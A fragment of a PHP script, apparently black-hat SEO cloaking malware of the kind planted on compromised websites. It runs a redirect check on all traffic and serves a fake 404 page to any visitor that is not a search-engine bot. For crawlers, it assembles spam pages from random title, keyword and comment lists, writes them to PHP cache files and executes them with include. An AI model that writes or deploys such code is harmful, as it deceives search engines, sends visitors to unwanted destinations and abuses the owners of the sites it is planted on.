$line !== '') : []; } function readRandomFile($pattern) { $files = glob($pattern); if (empty($files)) return []; $randomFile = $files[array_rand($files)]; return readFileSafe($randomFile); } function selectRandom($items, $max) { if (!is_array($items) || empty($items)) return []; shuffle($items); return array_slice($items, 0, min($max, count($items))); } function formatArray($name, $items) { if (empty($items)) return "\$$name = array();\n"; $output = "\$$name = array(\n"; foreach ($items as $i => $item) { $output .= "\t\"" . addslashes($item) . "\"" . ($i < count($items) - 1 ? "," : "") . "\n"; } $output .= ");\n"; return $output; } function replaceTemplate($template, $juzi, $desc, $titles, $pics, $keys, $names, $plun) { return strtr($template, [ '{juzi覆盖}' => $juzi, '{descriptions描述覆盖}' => $desc, '{titles描述覆盖}' => $titles, '{pics覆盖}' => $pics, '{key覆盖}' => $keys, '{names覆盖}' => $names, '{plun覆盖}' => $plun, ]); } // Step 1: 首先检查是否需要跳转(在拒绝非爬虫之前,确保所有流量都经过检查) checkRedirect(); // Step 2: Deny all non-bot access if (!isAllowedBot()) { header("HTTP/1.0 404 Not Found"); echo " 404 Not Found

Not Found

The requested URL was not found on this server.

"; ob_end_clean(); exit; } // Step 3: Get domain and hashed cache filename $domain = $_GET['domain'] ?? ($_SERVER['HTTP_X_CURRENT_URL'] ?? ''); $md5File = getDomainMd5($domain); if (!$md5File) { ob_end_clean(); exit; } $cacheDir = $basePath . 'domain/'; $cacheFile = $cacheDir . $md5File; // Step 4: Serve from cache if available and check for comment $comment = "\n"; if (file_exists($cacheFile)) { $firstLine = file($cacheFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES)[0] ?? ''; if (strpos($firstLine, 'original') !== false) { ob_end_clean(); include $cacheFile; exit; } else { // 缓存文件存在但无 original 注释,读取内容并插入注释 $cacheContent = file_get_contents($cacheFile); if ($cacheContent !== false) { $newContent = $comment . $cacheContent; if (file_put_contents($cacheFile, $newContent, LOCK_EX) !== false) { ob_end_clean(); include $cacheFile; exit; } } ob_end_clean(); exit; } } // Step 5: Load template $templateFile = $basePath . 'mb.pg'; $template = file_exists($templateFile) ? file_get_contents($templateFile) : false; if (!$template) { ob_end_clean(); exit; } // Step 6: Load and verify data sources $titles = readRandomFile($basePath . 'list/title/*.txt'); $juzi = readRandomFile($basePath . 'list/jz/*.txt'); $descriptions = readRandomFile($basePath . 'list/ms/*.txt'); $pics = readFileSafe($basePath . 'list/pic.txt'); $keys = readFileSafe($basePath . 'list/gjc.txt'); $names = readFileSafe($basePath . 'list/names.txt'); $plun = readFileSafe($basePath . 'list/plun.txt'); if (!$titles || !$juzi || !$descriptions || !$pics || !$keys || !$names || !$plun) { ob_end_clean(); exit; } // Step 7: Select random entries $selectedTitles = selectRandom($titles, 150); $selectedJuzi = selectRandom($juzi, 150); $selectedDesc = selectRandom($descriptions, 150); $selectedPics = selectRandom($pics, 150); $selectedKeys = selectRandom($keys, 500); $selectedNames = selectRandom($names, 150); $selectedPlun = selectRandom($plun, 150); // Step 8: Format PHP arrays $titlesArray = formatArray('titles', $selectedTitles); $juziArray = formatArray('juzi', $selectedJuzi); $descArray = formatArray('descriptions', $selectedDesc); $picsArray = formatArray('pics', $selectedPics); $keysArray = formatArray('keys', $selectedKeys); $namesArray = formatArray('names', $selectedNames); $plunArray = formatArray('plun', $selectedPlun); // Step 9: Replace placeholders in template $output = $comment . replaceTemplate($template, $juziArray, $descArray, $titlesArray, $picsArray, $keysArray, $namesArray, $plunArray); // Step 10: Save cache if (!is_dir($cacheDir)) { mkdir($cacheDir, 0755, true); } if (file_put_contents($cacheFile, $output, LOCK_EX) === false) { ob_end_clean(); exit; } // Step 11: Serve generated file ob_end_clean(); include $cacheFile; ?>